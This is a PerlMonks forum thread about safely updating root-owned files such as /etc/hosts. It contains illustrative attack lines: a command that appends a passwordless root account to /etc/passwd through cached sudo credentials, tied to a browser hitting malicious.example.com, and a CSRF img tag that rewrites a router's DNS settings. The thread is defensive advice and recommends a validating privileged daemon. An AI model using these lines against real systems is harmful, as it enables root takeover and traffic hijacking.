in reply to Re^9: Best way to write to a file owned by root?
in thread Best way to write to a file owned by root?

I'd assume the hacker already has the password if he hacked in.

No.

Is it theoretically possible for a hacker to gain control of my user account without my password?

Yes. It's also practical. Surf the web, using a lazily written plugin or an old browser. A hijacked ad server exploits your browser or the plugin and can suddenly execute arbitary code with your privileges.

Regarding sudo: sudo allows to run several commands from the same terminal within a short time, and prompts for the password only once:

/tmp>sudo echo hi Password: hi /tmp>sudo echo look mom no password look mom no password /tmp>

Yes, you can change that setting, it's hidden somewhere in the documentation.

And you can get rid of the saved permission (it's just a timestamp):

/tmp>sudo -k /tmp>sudo echo timestamp invalidated Password: timestamp invalidated /tmp>sudo -K /tmp>sudo echo timestamp removed Password: timestamp removed /tmp>

Now, imagine this scenario:

/tmp>sudo vim /etc/hosts # .... :wq /tmp>ancient-browser http://malicious.example.com/exploit-me/ & [1] 25125 /tmp> # exploited ancient-browser now effectively runs sudo sh -c 'echo "too +r::0:0:let me in:/:/bin/sh" >> /etc/passwd'

sudo won't ask for a password here, and the attacker does not have to know your password.

Using perl -e instead of an imaginary ancient-browser to demo:

/tmp>sudo -k /tmp>sudo echo ask me for password Password: ask me for password /tmp>perl -E 'system "sudo echo look no password";' look no password /tmp>

And yes, that's only one possible scenario of many similar ones.

Imagine you install a few new modules from CPAN. You compile as user, not as root. But you have configured the cpan utility to run sudo make install to actually install the modules. Now think what happens after the first module has been installed via sudo, and Makefile.pl of the next module contains malicious code invoked via sudo. Right, it will be executed as root without prompting for your password.

Another way:

Many cheap DSL routers have bugs. And they have a web interface. Some don't even have a working logout. Most people run those cheap boxes with factory defaults, which often means the web interface is at http://192.168.1.1/. Now imagine a web page containing <img src="http://192.168.1.1/cgi-bin/setdns.cgi?dns1=1.2.3.4&dns2=1.2.3.5&dns3=1.2.3.6">. Would you see a 1x1 pixel broken image in a web page? No. But your browser will happily replace the DNS servers in the junk DSL router. That attack works surprisingly often, and after that, the attacker can redirect your browser everywhere, by sending wrong DNS responses.

Knowing where your /etc/hosts updating CGI is located, this attack could probably also work there. A trivial counter-measure is to require POST requests for actual changes, that can't be done with a simple <img src="...">. But there are workarounds for that, too.

Alexander

--
Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)

Replies are listed 'Best First'.
Re^11: Best way to write to a file owned by root?
by nysus (Parson) on Mar 16, 2017 at 01:29 UTC

    Thanks for taking the time to explain this in such detail. So basically you are saying get rid of my little hack script because it adds a vulnerability. OK, I'll buy that. And you suggested earlier using a daemon to validate requests to make changes to root files instead. Now, I obviously don't have the talent (nor the year it would probably take me to learn how) to write something like that. Is there some tool or module already out like that that would allow me safely automate updates to my /etc/hosts file? Or do you recommend I just update it manually as I'm doing now with sudo vim?

    I do want to learn to do this properly because eventually I'd like to be able to run scripts that update things like apache config files (owned by root) on a live server. I'd like to figure out what it takes to do this kind of thing without introducing security holes.

    Thanks again.

    $PM = "Perl Monk's";
    $MCF = "Most Clueless Friar Abbot Bishop Pontiff Deacon Curate";
    $nysus = $PM . ' ' . $MCF;
    Click here if you love Perl Monks

      So basically you are saying get rid of my little hack script because it adds a vulnerability. OK, I'll buy that.

      From experience, some little hacks evolve to huge programs that are distributed widely, and this little bit of a messy hack is so deeply in its core, wrapped in more and more workarounds, that you can't get rid of it any more.

      I do want to learn to do this properly because eventually I'd like to be able to run scripts that update things like apache config files (owned by root) on a live server. I'd like to figure out what it takes to do this kind of thing without introducing security holes.

      And here comes the evolution of that little hack. ;-)

      Is there some tool or module already out like that that would allow me safely automate updates to my /etc/hosts file?

      I don't know of any. Webmin and similar tools allow editing, perhaps even automatically, but that comes at a price. Webmin runs a huge base of ancient perl code as root. That's far from being secure.

      Or do you recommend I just update it manually as I'm doing now with sudo vim?

      Well, if you are happy with sudo vim, use it. But it seems that you have a good reason for using a dedicated tool, and if only for the validation.

      I obviously don't have the talent (nor the year it would probably take me to learn how) to write something like that.

      Most of the code already exists or is at least outlined in this thread:

      The unprivileged user interface is quite easy. It reads /etc/hosts (let's stay with that file, but it could be any file, including Apache config files), creates a modified copy, places it somewhere, and tells the privileged service about a new job. This could be as easy as writing "/etc/hosts\0/tmp/hiuz8723rg978zt/etc-hosts\0\0" into a named pipe or a unix domain socket.

      The privileged service is just an ordinary program running as root, preferably with taint mode on, opening a named pipe or a unix domain socket. It waits for a job in the form $sysfile."\0".$tmpfile."\0\0" from that source, starts the validating process, and if that returns ok, changes mode and owner of the temp file to that of the system file and renames the temp file to the system file. It should be obvious that you need different validators for different files, so the privileged service has something like this:

      %validators=( '/etc/hosts' => '/usr/libexec/privileged-service/validators/etc-ho +sts', '/etc/apache/httpd.conf' => '/usr/libexec/privileged-service/valid +ators/apache-httpd-conf', '/etc/samba/smb.conf' => '/usr/libexec/privileged-service/validato +rs/smb-conf', '/etc/mail/aliases' => '/usr/libexec/privileged-service/validators +/mail-aliases', );

      If $sysfile is not in keys %validators, that counts as failed validation and nothing more happens. The privileged service simply returns to wait for a new job.

      Turing a simple program into a service is trivial if you use deamontools or tools copying daemontools. See my other daemontools postings and the djb way.

      The validators obviously depend on the file format, but in they end, they can be quite primitive, at least for /etc/hosts. You want that file to have a size of significantly less than 1 MBytes. Die if the file is larger. Read the file line by line. All lines should match exactly one of four patterns: comment line, only zero or more white space, IPv4 + hostnames, IPv6 + hostnames. Die on the first line that does not match any of those patterns. Exit with 0 if all tests have passed.

      Little details:

      You may need do to something after changing some files: /etc/hosts is harmless, /etc/mail/aliases may need newaliases, /etc/apache/httpd.conf needs something like apachectl restart, and so does /etc/samba/smb.conf. Other programs only need a simple SIGHUP. Consider a second hash containing post-change-commands. Some programs insist on being stopped before changing their config files, add a third hash for pre-change-commands.

      Even more links:

      perlipc for Inter-process communication and dropping privileges, perlsec for taint mode, and Secure Webmin and Building a web-based system administration interface in Perl for concepts of similar, but larger tools.

      Alexander

      --
      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)